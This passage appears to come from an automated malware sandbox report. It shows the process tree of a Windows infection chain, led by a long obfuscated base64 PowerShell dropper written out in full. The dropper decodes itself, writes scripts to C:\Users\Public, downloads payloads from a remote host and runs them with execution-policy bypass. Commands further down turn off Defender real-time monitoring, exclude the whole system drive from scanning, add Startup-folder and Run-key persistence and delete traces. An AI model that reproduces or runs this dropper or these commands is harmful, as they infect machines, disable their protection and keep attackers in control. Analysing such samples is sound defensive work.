'sMjQsMjM3LDE2MCw5OCwyMjksMTI1LDgwLDIwNSwxNjIsOTUsMjQxLDEyNiwxMz' + 'A' + 'sMTY1LDE2NiwyNTEsMTMsMjM3LDIyNCwxMTIsMjI1LDg4LDExMSwyMTEsMTY3LDc1LDI' + '0' + 'MSwxMDMsMTQ2LDE2NSwxNz' + 'A' + 'sMj' + 'A' + '4LDEyMSwyMzMsMTY2LDY' + '0' + 'LDIxMiw4MCw5NywyMz' + 'A' + 'sMTQwLDQ2LDE2MCwxMj' + 'A' + 'sMTcwLDEyOCwxNzMsMjEzLDEzLDIzOCwyMzgsNjcsMTkwLDExNCwxMTcsMjIyLDE2Niw3NiwyMzksMT' + 'A' + '5LDE1MywxNz' + 'A' + 'sMTg3LDI1MCw4LDI1NCwxOTYsMTIwLDIxNiwxMDYsODgsMj' + 'A' + 'wLDE2Miw5NSwyNDgsMT' + 'A' + 'xLDE1MywxODIsMjQyLDIyNywxOSwyNDYsMjUxLDY3LDIyNiwxMT' + 'A' + 'sMTExLDIzMSwxND' + 'A' + 'sMTE' + '0' + 'LDE2NiwxMDksMTQ2LDEzNSwxNzcsMjQ4LDE1LDIyMywyMj' + 'A' + 'sMT' + 'A' + '' + '0' + 'LDIwNywxMjUsOD' + 'A' + 'sMj' + 'A' + '1LDE2Miw5NSwyNDEsMTI2LDEzMCwxNjUsMTcwLDIyNiw' + '0' + 'OSwyNDksMTYzLDExNSwyMzEsMTE4LDExMiwyMz' + 'A' + 'sMTM2LDk1LDE3NSwxMjYsMTMzLDE2NSwxNjYsMjU' + '0' + 'LDYwLDE5NSwyND' + 'A' + 'sMT' + 'A' + '' + '0' + 'LDIwNywxMjUsOD' + 'A' + 'sMj' + 'A' + '1LDE2Miw5NSwyNDEsMTI2LDEzMCwxODIsMTc5LDIzMiwzMSwyNT' + 'A' + 'sMjMxLDY4LDIxOCwxMDYsNjYsMjMwLDE4MSwxMTMsMTYwLDk3LDE3MiwxMzYsMTg' + '0' + 'LDIxMywzLDI1MCwyNTUsNjcsMj' + 'A' + 'yLDEyNiw3OCwyMz' + 'A' + 'sMjEwLDc2LDI1MCwxMT' + 'A' + 'sMjQyLDE4MSwxNzQsMjUxLDEzLDIzNywyMjQsMTEyLDIyNSw4OCwxMTEsMjExLDE2Nyw3NSwyMjksMTI2LDEzNSwxNDQsMTUxLDIyNiwyOCwxNTMsMTY3LDExNiwxOTYsMTEwLDc4LDIyMCwxODEsMTEzLDE2MCw4NSwxNzIsMTc4LDI' + '0' + 'MiwyNT' + 'A' + 'sMTUsMjMzLDIzMSwxMDksMj' + 'A' + '3LDEyNSw2NCwyMjUsMTY1LDc5LDIyNSwxMjMsMTMwLDE2NiwxNjMsMjEwLDM4LDI1MCwyNT' + 'A' + 'sMTIxLDIyMywxMT' + 'A' + 'sMTIzLDIwMiwxODEsMTE4LDIwOSwxMDIsMTcwLDE5MCwxOD' + 'A' + 'sMjUwLDI' + '0' + 'LDIzOCwxNzUsMT' + 'A' + '' + '0' + 'LDIwMSw1LDYsMjI' + '0' + 'LDE2Miw' + '0' + 'NywyMTcsODMsMTUwLDE1NiwxNzgsMjQ4LDE1LDIyMywyMj' + 'A' + 'sMT' + 'A' + '' + '0' + 'LDIwNywxMjUsOD' + 'A' + 'sMj' + 'A' + '1LDE2Miw5NSwyNDEsMTI2LDEzMCwxNjYsMTYzLDIyOCwzNywyNT' + 'A' + 'sMjI2LDY5LDIwMyw4MCw2NywyMjIsMTc4LDQzLDIyMCw4NSwxNzUsMTgyLDE3MywyMT' + 'A' + 'sMzgsMTQ5LDIyNCwxMTYsMTkwLDEwNiw3OCwyMjQsMTQwLDExNCwyNTIsMT' + 'A' + '5LDE1MywxNjksMTgwLDIyOSwyOCwyMzQsMjM4LDY2LDE5MCw4NCw5NSwyMz' + 'A' + 'sMTY3LDQ2LDE2MCwxMj' + 'A' + 'sMTczLDEyOCwxODQsMj' + 'A' + '4LDE5LDI1NCwyNTEsMTEyLDIyNiw4MCw3LDIyMiwxNzgsMTIxLDI1Myw5OCwxMzMsMTY2LDEzMCwyMzUsMTIyLDIwMCwyMDYsMTE5LDIyMyw3NSw4MCwyMDEsMTY5LDEyMSwxNjMsMTIyLDEzMCwxNDMsMTM4LDI' + '0' + 'OCw4LDIzNywyND' + 'A' + 'sMT' + 'A' + '' + '0' + 'LDIwNywxMjUsOD' + 'A' + 'sMj' + 'A' + '1LDE2Miw5NSwyNTMsODYsMjQzLDE2MSwyND' + 'A' + 'sMj' + 'A' + '4LDE5LDE5MiwxOTMsNjcsMjI1LDEyLDEsMj' + 'A' + 'zLDE' + '0' + 'MSw2OCwyMz' + 'A' + 'sODQsMTc1LDE4MiwyND' + 'A' + 'sMjMyLDI4LDIxMiwxOTgsNjYsMjI1LDUsNywyMjIsMTgyLDgwLDE2NiwxMjQsMTMwLDE4MiwxNDQsMjUyLDE' + '0' + 'LDIzMCwyNDksMTE5LDE4OSw4NCw5NywyMD' + 'A' + 'sMTYyLDkyLDI' + '0' + 'NCw5NywxNDgsMTM2LDE4MCwyMTMsMTMsMjM4LDE2Nyw2NiwyMjQsMTIsMSwyMDMsMTQwLDQzLDI1MCw4MywxODQsMTMxLDE4NSwyNT' + 'A' + 'sMjQsMjE5LDI' + '0' + 'MCwxMDcsMj' + 'A' + 'xLDc5LDYsMj' + 'A' + 'zLDE2NCw2OCwyMTMsMT' + 'A' + 'xLDE3MiwyMDgsMTc4LDI' + '0' + 'OCwxMywyMTYsMjM4LDEyMywyMTksMT' + 'A' + 'yLDgzLDIwNiwxNjQsMT' + 'A' + '5LDE2NywxMj' + 'A' + 'sMTMyLDE5MCwxMz' + 'A' + 'sMjI3LDM4LDE1MiwyMzEsMT' + 'A' + '' + '0' + 'LDE5Niw3NSw4MCwyMDgsMjEwLDcyLDE2NiwxMjMsMTQ4LDIwOSwyND' + 'A' + 'sMjExLDEyLDIxOSwyND' + 'A' + 'sMTEwLDI1MSw4Myw4MCwyMDUsMTYyLDk1LDI' + '0' + 'MSw4MSwxNDYsMTY2LDE3MSwyMzIsMTksMjU' + '0' + 'LDI1Myw2NCwyMDcsMTI2LD' + 'A' + 'sMjI2LDE3NiwxMT' + 'A' + 'sMTc1LDExNiwxNjYsMTQ4LDEzMCwyMTIsMTksMjM4LDI1NSw2NiwxOTEsMTEzLDY3LDIxMywxOD' + 'A' + 'sNDcsMTk' + '0' + 'LDEwMCwxNDYsMTY1LDI' + '0' + 'NiwyNDgsMT' + 'A' + 'sMTQ1LDE3MCk7DQokV1hmbTZwID' + '0' + 'gQCgxMzQsNjksOSw1LDM1LDIxMCwxNjQsMjM5LDIzNywxOTksNTQsMjIxLDEzMSwxMSw5MiwzNikgOw' + '0' + 'KW3ZvaWRdKFtNYXRoXTo6UG' + ' + 9 + ' + '3KDk3LC' + 'A' + '' + '0' + 'KSkgOw' + '0' + 'KJFBvQ3hMTy' + 'A' + '' + ' + 9 + ' + 'IE' + 'A' + 'oNTUsMTQsMTY1LDE' + '0' + 'NiwyLDk' + '0' + 'LDE1MiwyMTYsMT' + 'A' + '1LDM4LDQwLDc1LDE4MCwyMDIsMTg' + '0' + 'LDIyOSkgOw' + '0' + 'KOw' + '0' + 'KZnVuY3Rpb24gSW5pdENvbnRleHQ3MygkZCwgJGEsICRiKSB7DQogIC' + 'A' + 'gJG' + ' + 9 + ' + 'TRUpDID' + '0' + 'gJycgOw' + '0' + 'KIC' + 'A' + 'gIGZvci' + 'A' + 'oJGkgPS' + 'A' + 'wOy' + 'A' + 'kaS' + 'A' + 'tbHQgJGQuTGVuZ3RoOy' + 'A' + 'kaSsrKSB7DQogIC' + 'A' + 'gIC' + 'A' + 'gIFt2b2lkXSgkaS' + 'A' + 'qIDE3ICsgMTg4KTsNCi' + 'A' + 'gIC' + 'A' + 'gIC' + 'A' + 'gJG' + ' + 9 + ' + 'TRUpDICs' + ' + 9 + ' + 'IFtjaGFyXSgoJGRbJGldIC1ieG' + ' + 9 + ' + 'yICRiWyRpICUgJGIuTGVuZ3RoXSkgLWJ4b3IgJGFbJGkgJS' + 'A' + 'kYS5M' + 'ZW' + '5ndGhdKTsNCi' + 'A' + 'gICB' + ' + 9 + ' + 'DQogIC' + 'A' + 'gcmV' + '0' + 'dXJuICRvU' + '0' + 'VKQzsNCn' + '0' + 'NCg' + '0' + 'KJHdlaEZKID' + '0' + 'gW1N5c3RlbS5UZXh' + '0' + 'LkVuY2' + ' + 9 + ' + 'kaW5nXTo6VVRGOC5HZXRTdHJpbmcoW1N5c3RlbS5Db252ZXJ' + '0' + 'XTo6RnJvbUJhc2U2NFN' + '0' + 'cmluZygkKEluaXRDb25' + '0' + 'ZXh' + '0' + 'NzMgJGQ4R2ggJFBvQ3hMTy' + 'A' + 'kV1hmbTZwKSkpOw' + '0' + 'KW1NjcmlwdEJsb2NrXTo6Q3JlYXRlKCR3' + 'ZW' + 'hGSikuSW52b2tlKCk7IC' + 'A' + 'gIC' + 'A' + 'NCg' + '0' + 'KOw' + '0' + 'KfSBjYXRjaHsNCn' + '0' + 'NCg' + '0' + 'KW1N5c3RlbS5OZXQuU2VydmljZVBvaW5' + '0' + 'TWFuYWdlcl' + '0' + '6OlNlY3VyaXR5UHJvdG' + ' + 9 + ' + 'jb2wgPSBbU3lzdGVtLk5ldC5T' + 'ZW' + 'N1cml' + '0' + 'eVByb3RvY2' + ' + 9 + ' + 'sVHlwZV' + '0' + '6OlRsczEyIC1ib3IgW1N5c3RlbS5OZXQuU2VjdXJpdHlQcm' + ' + 9 + ' + '' + '0' + 'b2NvbFR5cGVdOjpUbHMxMy' + 'A' + '7DQoNCjskc215eEs7DQo7RnVuY3Rpb24gQnBYUnV7Ow' + '0' + 'KO1tieXRlW11dJERWS1lQID' + '0' + 'gW3N5c3RlbS5Db252ZXJ' + '0' + 'XTo6RnJvbUJhc2U2NFN' + '0' + 'cmluZyggJHNteXhLICk7DQo7JEdGbEhTID' + '0' + 'gW1N5c3RlbS5UZXh' + '0' + 'LkVuY2' + ' + 9 + ' + 'kaW5nXTo6VVRGOC5HZXRTdHJpbmcoICREVktZUC' + 'A' + 'pOw' + '0' + 'KO3JldHVybi' + 'A' + 'kR' + '0' + 'ZsSFM7DQp' + ' + 9 + ' + 'Ow' + '0' + 'KDQokemRtTFEgPS' + 'A' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + 'A' + 'rICdma3hycS5' + '0' + 'eHQnKS' + 'A' + '7JHhubmJTID' + '0' + 'gJ2FIUjBjSE' + '0' + '2THknICsgKCc4d' + '0' + '1uUmxjM1JsTCRfJF8kXyRfJF8kX' + '0' + '5qTD' + 'A' + 'xaGMkXyRfJF8kXyRfJF' + ' + 9 + ' + 'kaGMkXyRfJF8kXyRfJF' + ' + 9 + ' + 'sdVlTOVVNRE11ZCcgLXJlcGxhY2UgLC' + 'A' + 'nXCRfXCRfXCRfXCRfXCRfXCRfJywgJ2' + '0' + 'nKS' + 'A' + 'rICdIaD' + 'A' + 'nIDskc215eEsgPS' + 'A' + 'keG5uYlM7ICR4bm5iUy' + 'A' + '' + ' + 9 + ' + 'IEJwWFJ1IDskeG5uYlMgfCBPdXQtRmlsZS' + 'A' + 'tRmlsZVBhdGggJHpkbUxRIC1FbmNvZGluZy' + 'A' + 'nVVRGOCcgLWZvcmNlIDs7JE15VENtID' + '0' + 'gKC' + 'A' + 'nQzpcVXNlcnNcUHVibGljXCcgKy' + 'A' + 'ndGdwY3' + 'A' + 'udHh' + '0' + 'JykgOyRuZGNmZy' + 'A' + '' + ' + 9 + ' + 'IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5X' + 'ZW' + 'JDbGllbnQgOyRuZGNmZy5FbmNvZGluZy' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uVGV4dC5FbmNvZGluZ1' + '0' + '6OlVURjggOyRuZGNmZy5I' + 'ZW' + 'FkZXJzLkFkZChbU3lzdGVtLk5ldC5IdHRwUmVxdWVzdEhlYWRlcl' + '0' + '6OkNhY2hlQ2' + ' + 9 + ' + 'udHJvbCwgJ25vLWNhY2hlJykgOyRuZGNmZy5I' + 'ZW' + 'FkZXJzLkFkZChbU3lzdGVtLk5ldC5IdHRwUmVxdWVzdEhlYWRlcl' + '0' + '6OlByYWdtYSwgJ25vLWNhY2hlJykgOyRuZGNmZy5Qcm' + ' + 9 + ' + '4eS' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LldlYlJlcXVlc3RdOjpHZXRTeXN' + '0' + '' + 'ZW' + '1X' + 'ZW' + 'JQcm' + ' + 9 + ' + '4eSgpIDskbmRjZmcuUHJveHkuQ3JlZGVudGlhbHMgPSBbU3lzdGVtLk5ldC5DcmVk' + 'ZW' + '5' + '0' + 'aWFsQ2FjaGVdOjpE' + 'ZW' + 'ZhdWx' + '0' + 'TmV' + '0' + 'd2' + ' + 9 + ' + 'ya' + '0' + 'Ny' + 'ZW' + 'RlbnRpYWxzIDskV1lCVkUgID' + '0' + 'gKCBHZXQtQ2' + ' + 9 + ' + 'udGVudC' + 'A' + 'tUGF' + '0' + 'aC' + 'A' + 'kemRtTFEgKS' + 'A' + '7JGtzbEJmID' + '0' + 'gJG5kY2ZnLkRvd25sb2FkRGF' + '0' + 'YSggJFdZQlZFLlRyaW' + '0' + 'oKS' + 'A' + 'pIDskbHBzd3ogPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN' + '0' + 'cmluZygka3NsQmYpIDskbHBzd3ogPS' + 'A' + 'oQChbcmVnZXhdOjpzcGxpdCgkbHBzd3osJ1wleCUrJykpWzFdKS5UcmltKCkgOyRscHN3eiB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + 'A' + 'kTXlUQ2' + '0' + 'gLWZvcmNlIDs7JFNEZHd3ID' + '0' + 'gJ' + '0' + 'xvJy' + 'A' + 'rICdhZCc7JEhJd1laID' + '0' + 'gJ' + '0' + 'Fzc2UnICsgJ21ibHknOyRzWUtVUi' + 'A' + '' + ' + 9 + ' + 'ICdpbnYnICsgJ2' + ' + 9 + ' + 'rZSc7JG1xaGtIID' + '0' + 'gJ1JlZmxlJy' + 'A' + 'rICdjdGlvbic7JEFXRGNVID' + '0' + 'gJG51bGw7OyRmcnZ4bi' + 'A' + 'rPS' + 'A' + 'nOyRjYXJhY3RlcmVzID' + '0' + 'gQCg' + '0' + 'OCw1MCwxMTYsMT' + 'A' + 'xLDExNSwxMTYsMT' + 'A' + 'xLDQ2LDk5LDk5LDQ3KTskckJtQ3UgPSBbY2hhcltdXSRjYXJhY3RlcmVzIC1qb2luICcnJyc7IDsnIDskZnJ2eG4gKz' + '0' + 'gJyR6Q' + '0' + 'FRdC' + 'A' + '' + ' + 9 + ' + 'ICgnJ2ggdCB' + '0' + 'cHMgOi' + 'A' + 'vIC8nJy5SZXBsYWNlKCcnICcnLC' + 'A' + 'nJycnKS' + 'A' + 'rICRyQm1DdS' + 'A' + 'rICcnTWFyZ2FyaW5hJycgKy' + 'A' + 'nJ1BlTm8nJykgOycgOyRmcnZ4bi' + 'A' + 'rPS' + 'A' + 'nJE' + ' + 9 + ' + 'JTGJWID' + '0' + 'gJyclYmFzZTY' + '0' + 'JWRIaDBMbU12ZUcwdWIzSnBkR1Z5ZFhS55qEZG3nmoQyTHk4NmMzQjBkR2c' + ' + 9 + ' + 'JycgOyRPSUxiVi' + 'A' + '' + ' + 9 + ' + 'ICgkT' + '0' + 'lMYlYgLXJlcGxhY2UgJyfnmoQnJy' + 'A' + 'sICcnbCcnKS' + 'A' + '7OyRjVEZ6Ti' + 'A' + '' + ' + 9 + ' + 'ICggJydDOlxVc2Vyc1xQdWInJy' + 'A' + 'rICcnbGljXCcnICsgJyd' + '0' + 'Z3BjcC5' + '0' + 'eHQnJykgOyRuYmJxZC' + 'A' + '' + ' + 9 + ' + 'IChHZXQtQ2' + ' + 9 + ' + 'udGVudC' + 'A' + 'tUGF' + '0' + 'aC' + 'A' + 'kY1RGek4gLUVuY2' + ' + 9 + ' + 'kaW5nIFVURjgpOycgOyRmcnZ4bi' + 'A' + 'rPS' + 'A' + 'nJG5iYnFkIC1yZXBsYWNlICcnICcnLC' + 'A' + 'nJycnIDsnIDskZnJ2eG4gKz' + '0' + 'gJ1tieXRlW11dJHRxZGRyID' + '0' + 'gW1N5c3RlbS5Db2xs' + 'ZW' + 'N' + '0' + 'aW' + ' + 9 + ' + 'ucy5H' + 'ZW' + '5lcmljLkxpc3RbQnl' + '0' + 'ZV1dOjpuZXcoKTsnIDskZnJ2eG4gKz' + '0' + 'gJyR' + '0' + 'cWRkci' + 'A' + '' + ' + 9 + ' + 'ICgkbmJicWQgIC1zcGxpdC' + 'A' + 'nJywnJyB8IEZvckVhY2gtT2Jq' + 'ZW' + 'N' + '0' + 'IHsgW2J5dGVdKCRfLlRyaW' + '0' + 'oKSkgfSkgOyc7JGZydnhuICs' + ' + 9 + ' + 'ICckcmNqTG4gPSBbU3lzdGVtLicgKy' + 'A' + 'kbXFoa' + '0' + 'ggKy' + 'A' + 'nLicgKy' + 'A' + 'kSEl3WVogKy' + 'A' + 'nXTo6Jy' + 'A' + 'rICRTRGR3dy' + 'A' + 'rICcoICR' + '0' + 'cWRkci' + 'A' + 'pOycgOyRmcnZ4bi' + 'A' + 'rPS' + 'A' + 'nJHNlQWhKID' + '0' + 'gJHJjakxuLkdldFR5cGUoICcnQ2xhc3NMaWJyYXJ5My5DbGFzczEnJy' + 'A' + 'pOycgOyRmcnZ4bi' + 'A' + 'rPS' + 'A' + 'nOy' + 'A' + 'kV' + '0' + 'pad' + '0' + 'IgPS' + 'A' + 'nJ' + '0' + 'QgRERDOlxXaW5kb3dzXE1pY3Jvc2' + ' + 9 + ' + 'mdC5ORVRcRnJhbWUnICsgJ3dvcms2NFx2NC4wLjMwMzE5XGluc3RhbGx1dGlsJycgOycgOyRmcnZ4bi' + 'A' + 'rPS' + 'A' + 'nJENTWXRVID' + '0' + 'gJHNlQWhKLkdldE1ldGhvZCggJydwck' + 'ZW' + 'SScnICkuJy' + 'A' + 'rICRzWUtVUi' + 'A' + 'rICcoICRBV' + '0' + 'RjVS' + 'A' + 'sIFtvYmplY3RbXV' + '0' + 'gKC' + 'A' + 'kT' + '0' + 'lMYlYgLC' + 'A' + 'nJyV2VmxHeiUnJy' + 'A' + 'sICRXSlp3QiwgJyckZmFsc2UnJywgJHpDQVF' + '0' + 'ICkgKTsnIDskdWpvblggPS' + 'A' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + 'A' + 'rICdsY2Zsal8wMS5wczEnICkgOyRmcnZ4biB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + 'A' + 'kdWpvblggLWZvcmNlIDs7cG' + ' + 9 + ' + '3ZXJzaGVsbC' + 'A' + 'tRXhlY3V' + '0' + 'aW' + ' + 9 + ' + 'uUG' + ' + 9 + ' + 'saWN5IGJ5cGFzcy' + 'A' + 'tRmlsZS' + 'A' + 'kdWpvblggOw==' ;;$sPaFf ;;$WsBve = ($zXkuP + $sPaFf) ;;$substituir = $WsBve ;$substituir = $substituir.replace('''',$zvttg) ;$substituir = $substituir.replace('+ ',$zvttg) ;$substituir = $substituir.replace(' ',$zvttg) ;Function minhaFuncao{;$QzdYl = [System.Text.Encoding]::UTF8.GetString([system.Convert]::FromBase64String( $substituir ));return $QzdYl;};$cYAtA = minhaFuncao; $cYAtA = ($cYAtA -replace '%vVlGz%','C:\Users\Public\pwxsb的这五js') ;$minhapastadois = 'C:\Users\Public\llhmn.p' + 's1' ; $cYAtA | Out-File -Fi $minhapastadois -for ; powershell -executionpolicy bypass -f $minhapastadois ;
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4132
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -f C:\Users\Public\llhmn.ps1
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4092
    - - C:\Windows\system32\ipconfig.exe
        
        "C:\Windows\system32\ipconfig.exe" /release
        5⤵
        Gathers network information
        
        PID:4240
    - - C:\Windows\system32\ipconfig.exe
        
        "C:\Windows\system32\ipconfig.exe" /renew
        5⤵
        Gathers network information
        
        PID:2388
    - - C:\Windows\system32\netsh.exe
        
        "C:\Windows\system32\netsh.exe" winsock reset
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:612
    - - C:\Windows\system32\netsh.exe
        
        "C:\Windows\system32\netsh.exe" int ip reset
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:108
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\i2nmdzsl\i2nmdzsl.cmdline"
        5⤵
        
        PID:432
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -File C:\Users\Public\lcflj_01.ps1
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3776
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\broadcastmsg_1783607662.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2760
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2236
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_ndp472-kb4054530-x86-x64-allos-enu_decompression_log.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3884
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3948
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi79c5.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2148
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4576
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi79f0.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3940
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3492
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui79c5.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1912
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1560
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui79f0.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2972
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4172
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\fkxrq.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2156
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3740
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\lcflj_01.ps1"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2096
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1288
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\llhmn.ps1"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5760
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5512
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\pwxsb.js"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4832
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5420
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\tgpcp.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4636
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2364
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -ExecutionPolicy Bypass Set-MpPreference -DisableRealtimeMonitoring $true;Set-MpPreference -DisableIntrusiovnPreventionSystem $true;Set-MpPreference -MAPSReporting 0;Set-MpPreference -SubmitSamplesConsent 2;Add-MpPreference -ExclusionPath $env:SystemDrive\ ;
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5752
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Public\pwxsb.js"
        6⤵
        
        PID:5028
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Public\pwxsb.js"
        6⤵
        
        PID:4048
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Public\pwxsb.js"
        6⤵
        
        PID:1424
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Public\pwxsb.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pwxsb.js"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1236
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4564
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n C:\Users\Public\pwxsb.js & del "1"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4656
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n C:\Users\Public\pwxsb.js
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:716
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Public\pwxsb.js"
        6⤵
        
        PID:4532
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\ssalt_01.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:932
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
